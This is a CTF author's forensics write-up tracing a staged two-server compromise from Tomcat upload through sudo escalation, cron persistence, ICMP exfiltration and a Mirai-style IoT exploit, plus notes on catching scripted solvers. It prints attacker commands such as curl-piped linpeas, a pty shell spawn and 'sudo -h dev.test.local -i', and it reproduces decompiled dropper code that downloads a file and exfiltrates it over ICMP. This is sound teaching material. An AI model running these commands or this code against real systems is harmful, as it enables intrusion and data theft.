--:--
ping —
download —
upload —

~/blog / writeup-for-deja-vu-securinets-quals-ctf-2026

· ctf · forensics · writeups · author · 23 min read

Writeup for DEJA VU — Securinets Quals CTF 2026

This write-up covers DEJA VU, a forensics challenge I authored for Securinets Quals CTF 2026. Two servers fell in a coordinated attack — your job is to dig through the artifacts, retrace every move the attackers made, and answer the investigator’s questions via netcat.

Forensics — Securinets Quals CTF 2026

A fun side note from my side: the task included a monitor that dynamically generated flags, and several teams attempted to solve it using agentic AI. iptables was the right friend to handle that.

Connect with :

~ ✔
╰─ nc 4n6.securinets.tn 1020

Now, let’s dive in.


Q0 — Two servers were compromised in a coordinated attack. Uncover how the attackers got in, moved between systems, and what they did. To begin, submit: Welcome_to_Death_Box_series

The opening prompt simply marks the start of the series and gives you the welcome flag directly. No analysis required.

Answer : Welcome_to_Death_Box_series


Q1 — Let’s start with a sanity check. Format: sha256_checksum_of_the_handout

~/Downloads ✔
╰─ sha256sum handout.tar.gzf1be0a043e269e9ee6ba7168249a607e72e641ac46b7ae4ae423ed43cfbed6a3 handout.tar.gz

Answer : f1be0a043e269e9ee6ba7168249a607e72e641ac46b7ae4ae423ed43cfbed6a3


Q2 — Identify the compromised server’s hostname, operating system distribution, and release version to establish the system profile. Format: Hostname_OsDistribution_ReleaseNumber

We analyzed server1.pcapng and extracted the OS profile from the captured traffic. Mounting the disk image and reading /etc/lsb-release confirms:

~/Downloads/writeup ✔
╰─ cat /etc/lsb-releaseDISTRIB_ID=Ubuntu DISTRIB_RELEASE=24.04 DISTRIB_CODENAME=noble DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

Answer : zyyz-VMware-Virtual-Platform_Ubuntu_24.04


Q3 — Identify the IP address and MAC address of the compromised server to establish its network identity. Format: HostIp_MacAddress

Extracted directly from the captured traffic in server1.pcapng — visible in ARP and IP packets.

Answer : 192.168.255.137_00:0c:29:08:36:60


Q4 — Identify the name of the application that was targeted and exploited on the compromised server. Format: Application name

~/Downloads/writeup/home/zyyz ✔
╰─ lsapache-tomcat-7.0.79.tar.gz

Found in the user’s home directory inside the disk image — Apache Tomcat 7.0.79.

Answer : Apache Tomcat


Q5 — Identify the IP address used by the attacker to gain initial access to the compromised server. Format: AttackerIp

Filtering HTTP traffic in server1.pcapng reveals the attacker’s IP in the exploit request headers.

Answer : 192.168.255.1


Q6 — Identify the full URL that granted the attacker a shell and the exact time it occurred. Format: URL_FirstTime

By filtering for HTTP traffic in server1.pcapng, we can see that the attacker requested /shell from the host.

Answer : http://192.168.255.137:8080/shell/_2026-02-12 21:31:08


Q7 — I’ve left a flag over the cloud. Go get it!!

Inside .bash_history of the compromised user we find:

docker pull zyyz1/dockerstrike
docker images

The Dockerfile used to build the image reveals the flag is AES-encrypted and stored inside the container:

FROM alpine:latest
RUN apk add --no-cache bash openssl
WORKDIR /home/securinets
COPY ./flag.txt /home/securinets/flag.txt
COPY ./key /home/securinets/key
RUN openssl enc -aes-256-cbc -salt -in flag.txt -out flag.txt.enc -pass file:./key
RUN rm flag.txt

We pull the image, extract the encrypted flag and key, then decrypt:

~/Downloads/writeup ✔
╰─ docker create --name temp_container zyyz1/dockerstrike7ffc670c6784ecc1781dc2762ded32661bfd4f1dd3c0d6d8dd7f05cf6b2141f3
~/Downloads/writeup ✔
╰─ docker cp temp_container:/home/securinets/flag.txt.enc .Successfully copied 2.05kB to /home/zyyz/Downloads/writeup/.
~/Downloads/writeup ✔
╰─ docker cp temp_container:/home/securinets/key .Successfully copied 2.05kB to /home/zyyz/Downloads/writeup/.
~/Downloads/writeup ✔
╰─ openssl enc -d -aes-256-cbc -in flag.txt.enc -out flag.txt -pass file:./key*** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better.
~/Downloads/writeup ✔
╰─ cat flag.txtSecurinets{m3ssy_d0cker_c0nta1n3r}

Just ignore the deprecation warning and read the flag.

Answer : m3ssy_d0cker_c0nta1n3r


Q8 — Credentials used to access the tomcat manager.

Wireshark has a built-in feature that extracts credentials from captured traffic. Navigate to Tools → Credentials.

The Tomcat manager credentials are visible in plaintext.

Answer : Zyyz_Darkest-Hour-2026


Q9 — Identify the exact command used by the attacker to spawn a shell, then submit its SHA256 hash. Format: sha256_checksum_of_the_command

After uploading the malicious shell, the attacker obtained a reverse shell and upgraded it to an interactive shell.

The command used is:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Answer : 13e5b4b56447415508ee7288c003711b40b23c635bd79853f134a831231bd63d


Apache Tomcat 7.0.79 is vulnerable to a file upload vulnerability via a PUT request.

Answer : CVE-2017-12615


Q11 — Identify the first command the attacker ran after gaining initial access to the compromised server. Format: command

From the first TCP stream upon obtaining the reverse shell:

Answer : id


Q12 — Identify the exact time the attacker executed their first command on the compromised server. Format: YYYY-MM-DD HH:MM:SS

We can simply use the timestamp of the packet in Wireshark to determine this.

Answer : 2026-02-12 21:31:17


Q13 — Identify the command used by the attacker for post-exploitation activities, then submit its SHA256 hash. Format: sha256_checksum_of_the_command

Within the same TCP stream, we can identify the post-exploitation command executed:

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Answer : c1d7b4fa2d47ddb90bb5956f03ab4bfa188edb6974cc84b65f86d12c64af8795


Q14 — Identify the version of sudo installed on the compromised server that was potentially leveraged for privilege escalation. Format: sudo_version

We can quickly identify relevant entries by grepping for “sudo” in the linpeas output.

Answer : 1.9.17


Q15 — Identify the hostname alias value that was used by the attacker to gain root access on the compromised server. Format: hostname_value

Inside server1.pcapng we found this:

The hostname is dev.test.local — but what about the alias? The same exploit path was used from exploit-db:

OffSec’s Exploit Database Archive

Answer : dev.test.local_SERVERS


Q16 — Identify the exact command used by the attacker to gain root access. Format: sha256_checksum_of_command

From the earlier stream, we could see the executed command:

sudo -h dev.test.local -i

Answer : 21ffc73dc9052e36e9e50190142b09d2b4ccb140985d729a5dd356d8b1249363


CVE-2025-32462 — sudo privilege escalation exploited via the -h flag with a custom hostname alias.

Answer : CVE-2025-32462


Q18 — Calculate the SHA256 hash of the persistence mechanism used by the attacker (such as a cron job, script, or service). Format: sha256_hash

~/Downloads/writeup ✔
╰─ cat etc/crontab# /etc/crontab: system-wide crontab SHELL=/bin/sh # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } # * * * * * root /bin/bash /tmp/encryptor * * * * * root /bin/bash /tmp/encryptor

The cronjob set is * * * * * root /bin/bash /tmp/encryptor. SHA256 of that cron line gives the answer.

Answer : b3f4743f68af9bb213057c81d066670cdee6513038fde235b1364c080cbc52a7


Q19 — Identify the name of the file that was dropped as a harmless backdoor on the compromised server. Format: file.ext

After gaining root access, the attacker downloaded the encryptor binary and attempted to load a kernel module:

You can read more about LKM rootkits here: Rootkit — MITRE ATT&CK T1014

Answer : lkm_rootkit.ko


Q20 — Identify the encryption key that was used by the attacker during the compromise.

We now shift our focus to Reverse Engineering.

Upon inspecting the binary, we observed that it communicates with a server running on localhost. The binary establishes a TCP connection to 127.0.0.1:13337. The interaction follows a structured handshake protocol:

The port is found via strace:

~/Downloads/writeup ✔
╰─ strace ./encryptorexecve("./encryptor", ["./encryptor"], 0x7fff1e49ada0 /* 33 vars */) = 0 brk(NULL) = 0x63cc93528000 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7bed4bd06000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=81031, ...}) = 0 mmap(NULL, 81031, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7bed4bcf2000 close(3) = 0 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\243\2\0\0\0\0\0"..., 832) = 832 pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784 fstat(3, {st_mode=S_IFREG|0755, st_size=2125328, ...}) = 0 mmap(NULL, 2170256, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7bed4ba00000 mmap(0x7bed4ba28000, 1605632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x7bed4ba28000 mmap(0x7bed4bbb0000, 323584, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b0000) = 0x7bed4bbb0000 mmap(0x7bed4bbff000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1fe000) = 0x7bed4bbff000 mmap(0x7bed4bc05000, 52624, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7bed4bc05000 close(3) = 0 mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7bed4bcef000 arch_prctl(ARCH_SET_FS, 0x7bed4bcef740) = 0 set_tid_address(0x7bed4bcefa10) = 7064 set_robust_list(0x7bed4bcefa20, 24) = 0 rseq(0x7bed4bcf0060, 0x20, 0, 0x53053053) = 0 mprotect(0x7bed4bbff000, 16384, PROT_READ) = 0 mprotect(0x63cc563c2000, 4096, PROT_READ) = 0 mprotect(0x7bed4bd3e000, 8192, PROT_READ) = 0 prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0 munmap(0x7bed4bcf2000, 81031) = 0 socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3 connect(3, {sa_family=AF_INET, sin_port=htons(13337), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 ECONNREFUSED (Connection refused) exit_group(1) = ? +++ exited with 1 +++

The part that handles the encryption is stored in a section called secured, decrypted at runtime. Upon exploring the decompiled binary:

sub_72A0(v18 ^ v15, 6295212, &v18, 4, 0, 0);
syscall(44, v6);
sub_78D0(qword_600000, 6295212, (unsigned __int8)(v4 % 256));
if ( syscall(45, v6, v27, 32, 0, 0, 0) != 32 )
    return 1;
v9 = v18;

The 32 encrypted bytes are eight 4-byte values individually XORed with the proof. We set a breakpoint at the syscall check, host a dummy server sending 32 null bytes, then use rwatch to find where the encrypted bytes are accessed.

First, attach GDB and set a conditional breakpoint:

$r12   : 0x0
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────── stack ────
0x00007fffffffd880│+0x0000: 0x0000000000000001   ← $rsp
0x00007fffffffd888│+0x0008: 0x00007fffffffdb41  →  "./encryptor"
0x00007fffffffd890│+0x0010: 0x0000000000000000
0x00007fffffffd898│+0x0018: 0x00007fffffffdb79  →  "HOSTTYPE=x86_64"
0x00007fffffffd8a0│+0x0020: 0x00007fffffffdb89  →  "LANG=C.UTF-8"
──────────────────────────────────────────── code:x86:64 ────
 → 0x7ffff7fe4540 <_start+0000>    mov    rdi, rsp
   0x7ffff7fe4543 <_start+0003>    call   0x7ffff7fe51d0 <_dl_start>
───────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "encryptor", stopped 0x7ffff7fe4540 in _start (), reason: STOPPED
gef➤  break syscall if $ecx == 32

We successfully found the address of the 32 bytes of the encrypted payload:

$rbx   : 0x3
$rcx   : 0x20
$rdx   : 0x00007fffffffd640  →  0x0000000000160000
$rsp   : 0x00007fffffffd538  →  0x00005555555552fa  →   pop rsi
$rsi   : 0x3
$rdi   : 0x2d
$rip   : 0x00007ffff7d27270  →  <syscall+0000> endbr64
$r14   : 0x00007fffffffd640  →  0x0000000000160000
$r15   : 0xaa23b1
────────────────────────────────────────────────────────── stack ────
0x00007fffffffd538│+0x0000: 0x00005555555552fa  →   pop rsi      ← $rsp
0x00007fffffffd540│+0x0008: 0x0000000000000000
0x00007fffffffd548│+0x0010: 0x000000009833c8c1
0x00007fffffffd550│+0x0018: 0x000000b100000001
0x00007fffffffd568│+0x0030: 0x00000340982ecdec
0x00007fffffffd570│+0x0038: 0x0100007f19340002
────────────────────────────────────────────────────── code:x86:64 ────
●→ 0x7ffff7d27270 <syscall+0000>   endbr64
   0x7ffff7d27274 <syscall+0004>   mov    rax, rdi
   0x7ffff7d27277 <syscall+0007>   mov    rdi, rsi
   0x7ffff7d2727a <syscall+000a>   mov    rsi, rdx
─────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "encryptor", stopped 0x7ffff7d27270 in syscall (), reason: BREAKPOINT
────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7d27270 → syscall()
[#1] 0x5555555552fa → pop rsi
[#2] 0x7ffff7c2a1ca → __libc_start_call_main(main=0x5555555550e0, argc=0x1, argv=0x7fffffffd888)
[#4] 0x555555555405 → hlt
gef➤

Next, set a read watchpoint using rwatch to determine where this address is accessed:

gef➤  rwatch *(long *)0x00007fffffffd640
Hardware read watchpoint 2: *(long *)0x00007fffffffd640

And then continue. We found a suspicious string stored in rsi:

$rsi   : 0x00007fffffffd4e0  →  "f9bfe8cb45a6795747f4d512ebc178d2"
$r13   : 0x00007fffffffd4b0  →  "f9bfe8cb45a6795747f4d512ebc178d2"
$r14   : 0x00007fffffffd56c  →  0x1934000285183db0
$r15   : 0x4
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]

This is our first target MD5 hash — f9bfe8cb45a6795747f4d512ebc178d2. Crack it to get the first 4 bytes. Set a breakpoint at strcmp and continue to dump all 8 hashes. After cracking all of them:

chunks = [
    0x85183DB0,
    0x5066E5B5,
    0xCBF9F35F,
    0x2B4627A3,
    0xF732E92C,
    0xF002F1E0,
    0xD399FD13,
    0x6CF9E00F
]

Now that we have all components, run the solver:

import socket
import struct

HOST = "127.0.0.1"
PORT = 13337
BYTES  = 0xF5AFE18A
LENGTH = 0x20
ROUNDS = 0x0

chunks = [
    0x85183DB0, 0x5066E5B5, 0xCBF9F35F, 0x2B4627A3,
    0xF732E92C, 0xF002F1E0, 0xD399FD13, 0x6CF9E00F
]

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(1)
    print(f"[+] Listening on {HOST}:{PORT}")
    conn, addr = s.accept()
    with conn:
        print(f"[+] Connection from {addr}")
        data = conn.recv(4)
        print(f"[+] Received initial 4 bytes: {data.hex()}")
        payload = struct.pack("<III", BYTES, LENGTH, ROUNDS)
        conn.sendall(payload)
        print(f"[+] Sent 12-byte challenge: {payload.hex()}")
        proof = conn.recv(4)
        print(f"[+] Received 4-byte proof: {proof.hex()}")
        key = struct.unpack("<I", proof)[0]
        encrypted_flag = b"".join(struct.pack("<I", c ^ key) for c in chunks)
        conn.sendall(encrypted_flag)
        print(f"[+] Sent 32-byte encrypted flag: {encrypted_flag.hex()}")
        print("[+] Handshake complete")

Run the solver in one terminal and the binary in another:

~/Downloads/writeup ✔
╰─ python3 solver1.py[+] Listening on 127.0.0.1:13337 [+] Connection from ('127.0.0.1', 36972) [+] Received initial 4 bytes: 0df7b6fa [+] Sent 12-byte challenge: 8ae1aff52000000000000000 [+] Received 4-byte proof: 5e93cbf8 [+] Sent 32-byte encrypted flag: eeaed37deb76ada801603233fdb48dd3727af90fbe62c9084d6e522b51733294 [+] Handshake complete
~/Downloads/writeup ✔
╰─ ./encryptorC0ngrats_Pack3ts_Int3rc3pt3d_Succ3ssfully_84920

Answer : C0ngrats_Pack3ts_Int3rc3pt3d_Succ3ssfully_84920


Q21 — Identify the malware family and provide the SHA256 hash of the malicious binary dropped on the compromised server. Format: MalwareFamily_sha256

Earlier we saw that the attacker cloned a repo:

git clone https://github.com/0xZyyz/Infiltrator.git

This repository contains a binary packaged and obfuscated using PyInstaller. We use pyinstxtractor to extract the embedded Python bytecode, then PyLingual to decompile it:

import os, socket, struct, requests
from dotenv import load_dotenv
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# ===== CONFIG =====
DEST_IP = "192.168.255.137"
URL = "http://192.168.255.1:8000/malware"
CHUNK_SIZE = 1024
# ==================

load_dotenv()
flag = os.getenv("KEY")
if flag is None:
    raise ValueError("KEY not found in .env")

flag_bytes = flag.encode()

if len(flag_bytes) < 48:
    raise ValueError("Flag must be at least 48 bytes")

# Derive key and IV
key = flag_bytes[:32]
iv  = flag_bytes[32:48]

def checksum(data):
    if len(data) % 2 != 0:
        data += b'\x00'
    s = sum((data[i] << 8) + data[i+1] for i in range(0, len(data), 2))
    s = (s >> 16) + (s & 0xffff)
    s = ~s & 0xffff
    return s

def main():
    print("[+] Fetching file...")
    response = requests.get(URL)
    data = response.content
    print(f"[+] Downloaded {len(data)} bytes")
    print("[+] AES encrypting...")
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(pad(data, AES.block_size))
    encrypted_hex = encrypted.hex().encode()
    print(f"[+] Sending to {DEST_IP} via ICMP...")
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    seq = 0
    for i in range(0, len(encrypted_hex), CHUNK_SIZE):
        chunk = encrypted_hex[i:i+CHUNK_SIZE]
        icmp_type = 8
        code = 0
        icmp_id = os.getpid() & 0xFFFF
        icmp_seq = seq
        header = struct.pack('!BBHHH', icmp_type, code, 0, icmp_id, icmp_seq)
        packet = header + chunk
        chksum = checksum(packet)
        header = struct.pack('!BBHHH', icmp_type, code, socket.htons(chksum), icmp_id, icmp_seq)
        packet = header + chunk
        sock.sendto(packet, (DEST_IP, 0))
        seq += 1
    print("[+] Done.")

if __name__ == "__main__":
    main()

This script downloads a remote file, AES-encrypts it using keys derived from the flag, and exfiltrates it over ICMP Echo Request packets. To recover the malware binary, we decrypt the ICMP payload from the pcap:

import pyshark, binascii
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

PCAP_FILE = "server1.pcapng"
OUTPUT_FILE = "decrypted_malware"

FLAG = "Securinets{C0ngrats_Pack3ts_Int3rc3pt3d_Succ3ssfully_84920}"
flag_bytes = FLAG.encode()
key = flag_bytes[:32]
iv = flag_bytes[32:48]

def extract_icmp_data(pcap_file):
    print(f"[+] Reading {pcap_file}...")
    packets = {}
    cap = pyshark.FileCapture(pcap_file, display_filter='icmp.type == 8')
    for pkt in cap:
        try:
            icmp = pkt.icmp
            seq = int(icmp.seq)
            if hasattr(icmp, 'data'):
                if hasattr(icmp.data, 'binary_value'):
                    data = icmp.data.binary_value
                else:
                    data_str = str(icmp.data).replace(':', '')
                    data = bytes.fromhex(data_str)
                packets[seq] = data
                print(f"[+] Packet {seq}: {len(data)} bytes")
        except (AttributeError, ValueError):
            continue
    cap.close()
    if not packets:
        return None
    assembled = b''.join(packets[s] for s in sorted(packets.keys()))
    hex_data = assembled.replace(b' ', b'').replace(b':', b'')
    return binascii.unhexlify(hex_data)

def main():
    encrypted_data = extract_icmp_data(PCAP_FILE)
    if not encrypted_data:
        return
    print(f"[+] Decrypting with key from flag...")
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    with open(OUTPUT_FILE, 'wb') as f:
        f.write(decrypted)
    print(f"[+] Decrypted {len(decrypted)} bytes → {OUTPUT_FILE}")
    if decrypted[:4] == b'\x7fELF':
        print("[+] File is ELF executable (Linux)")

if __name__ == "__main__":
    main()

Upon analysis, the dropped binary is a Mirai botnet variant — it scans networked devices (IP cameras, routers) and attempts exploitation using approximately 30 known vulnerabilities.

Answer : Mirai_824904182e863288f24a2d13273a3122bd8fef73fe6ae1a2429ec7073177b747


Q22 — Identify the two IP addresses involved in the next stage. Format: Ip1_Ip2

Moving now to server2.pcap. Filter with http to find the flag:

Answer : 146.190.198.112_185.133.121.127


Q23 — Identify the name of the server or service involved in the attack. Format: server_name

The first server was a honeypot. The second server was the real target — filter with http && ip.addr == 185.133.121.127:

Answer : uc-httpd 1.0.0


Q24 — Identify the specific URL or endpoint that was vulnerable and exploited by the attacker. Format: endpoint_url

Analysis of the previous screenshot indicates that the attacker attempted a buffer overflow via the username field, suggesting the login endpoint is vulnerable. Capture and extract the relevant payload from Wireshark for further investigation.

Answer : http://185.133.121.127:8099/Login.htm


Q25 — Identify the specific function name within the target process that was exploited or involved in the attack. Format: function_name

This question involves reverse engineering the Go (Golang) malware. Our target is main_infectFunctionUchttpd:

In this function, the malware:

  1. Connects and sends GET ../../proc/ HTTP\r\n\r\n (directory traversal against uchttpd)
  2. Parses the response for “Index of /mnt/web/” and extracts candidate PIDs
  3. Calls ucSofiaCheck to validate each target
  4. If successful, calls main_ucGuessSmaps to infer memory layout
  5. Finally calls main_ucSendBof to deliver the buffer overflow payload

Answer : ucSofiaCheck


CVE-2018-10088 — a buffer overflow vulnerability in uc-httpd 1.0.0 exploited by the Mirai variant targeting the login endpoint.

Answer : CVE-2018-10088


In conclusion, this series allowed us to fully trace the attacker’s exploitation chain — from initial access via a Tomcat CVE, through privilege escalation using a sudo vulnerability, persistence via a cron job, an encrypted encryptor binary with a custom handshake protocol, malware delivery over ICMP, to a second-stage IoT botnet attack against uc-httpd. A comprehensive deep-dive into real-world forensic analysis techniques.


Behind the netcat: the monitor

Every connection to the task got its own flag, Securinets{4ut_v14m_1nv3n14m_4ut_f4c14m_<16 random hex>}, checked on CTFd with a regex. So every flag submitted points back to exactly one session: when it connected, every answer typed, and how long each answer took.

24,515 sessions · 158,522 answers · 19 solves.

The auto-typer. One solve took about 4 s per answer, slow enough to pass my speed check as human. Plotting answer time against answer length gave it away:

26 answers on one perfectly straight line: 2.88 s + 0.059 s per character, R² = 1.000. Every 64-character hash took 6.65 s, and the Q20 key took 5.66 s the first time it was ever shown. Nobody types like that.

The flood. One player tried to brute force Q24 with 3,101 different variants, peaking at 2,590 connections per minute. They got banned, and a connection rate limit went up for everyone:

Correct/Wrong as an oracle. Scripts filled every question with a placeholder, tried one real guess, read the verdict and reconnected. Here’s Q25 cracked in 26 seconds over six sessions:

16:10:43  q=25 wrong    "strtok"
16:10:46  q=25 wrong    "ucGuessSmaps"
16:10:48  q=25 wrong    "reverseShellUchttpdLoader"
16:10:49  q=25 wrong    "httpBannerCheck"
16:10:51  q=25 wrong    "scannerInitExploits"
16:11:09  q=25 correct  "ucSofiaCheck"

The placeholders (PLACEHOLDER15, DUMMY, __Q24__, …) worked as fingerprints.


Thank you to everyone who played and enjoyed the series.